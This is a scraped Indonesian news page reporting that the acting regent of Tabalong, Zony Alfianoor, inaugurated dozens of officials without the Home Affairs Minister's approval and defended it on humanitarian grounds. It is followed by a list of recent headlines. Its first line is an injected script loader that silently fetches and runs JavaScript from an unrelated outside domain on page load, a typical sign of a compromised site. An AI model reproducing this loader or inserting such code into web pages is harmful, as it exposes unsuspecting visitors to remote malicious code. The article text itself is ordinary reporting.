(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dalih Kemanusiaan, Plt Bupati Tabalong Lantik 34 Pejabat Tanpa Izin Mendagri


TANJUNG, Pelaksana Tugas (Plt) Bupati Tabalong H Zony Alfianoor melantik sebanyak 38 pejabat meski  tanpa ada izin dari Mendagri pada Kamis (31/5). Puluhan pejabat eselon III dan IV tersebut tetap dilantik dengan sejumlah alasan. Apa itu?

Zony berkukuh pelantikan itu sudah tepat sesuai hak dan kewenangan selaku kepala daerah. “Karena jika para pejabat itu tak segera dilantik, gaji mereja akan hangus. Sebab, per tanggal 1 Juni ada beberapa pejabat akan memasuki masa pensiun. Jadi ini menyangkut faktor manusiawi menyangkut nasib pegawai,” katanya kepada wartawan, Sabtu (2/6) malam.

Para pejabat yang dilantik terdiri dari 4 orang sebagai pengawas penyelenggaraan urusan pemerintah dan 34 orang dari eselon III dan IV. Hanya empat orang sudah mendapat persetujuan Mendagri karena memasuki pensiun per 1 Juni. Adapun 34 orang pejabat eselon III dan IV yang dilantik belum ada persetujuan Mendagri.

Dia mengatakan, tindakan sudah benar meski belum mendapat persetujuan Mendagri. “Jika langkah kebijakan saya selaku bupati menyalahi, mari kita sama-sama koreksi, nanti diperbaiki dimana letak kesalahannya,” katanya dilansir Kumparan.

Berdasarkan Peraturan Menteri Dalam Negeri Republik Indonesia Nomor 35 Tahun 2013, penjabat bupati secara umum memiliki tugas, wewenang dan kewajiban sebagaimana bupati definitif. Tetapi mempunyai keterbatasan dalam mengambil keputusan dan membutuhkan izin tertulis dari Kementerian Dalam Negeri jika akan mengambil keputusan strategis. Salah satunya melakukan mutasi pegawai sesuai pasal 132A ayat 1 dan 2 Peraturan Pemerintah Nomor 49 Tahun 2008.

Toh, Zony meminta para pejabat yang sudah dilantik tetap bekerja seperti biasa sesuai bidang masing-masing. “Sambil menunggu kepastian dari Menteri Dalam Negeri. Jika tak turun ke kantor, hal itu jelas melanggar pakta integritas yang sudah ditandatangani,” ujarnya. (cel/kum)

Reporter: Cel/kum
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.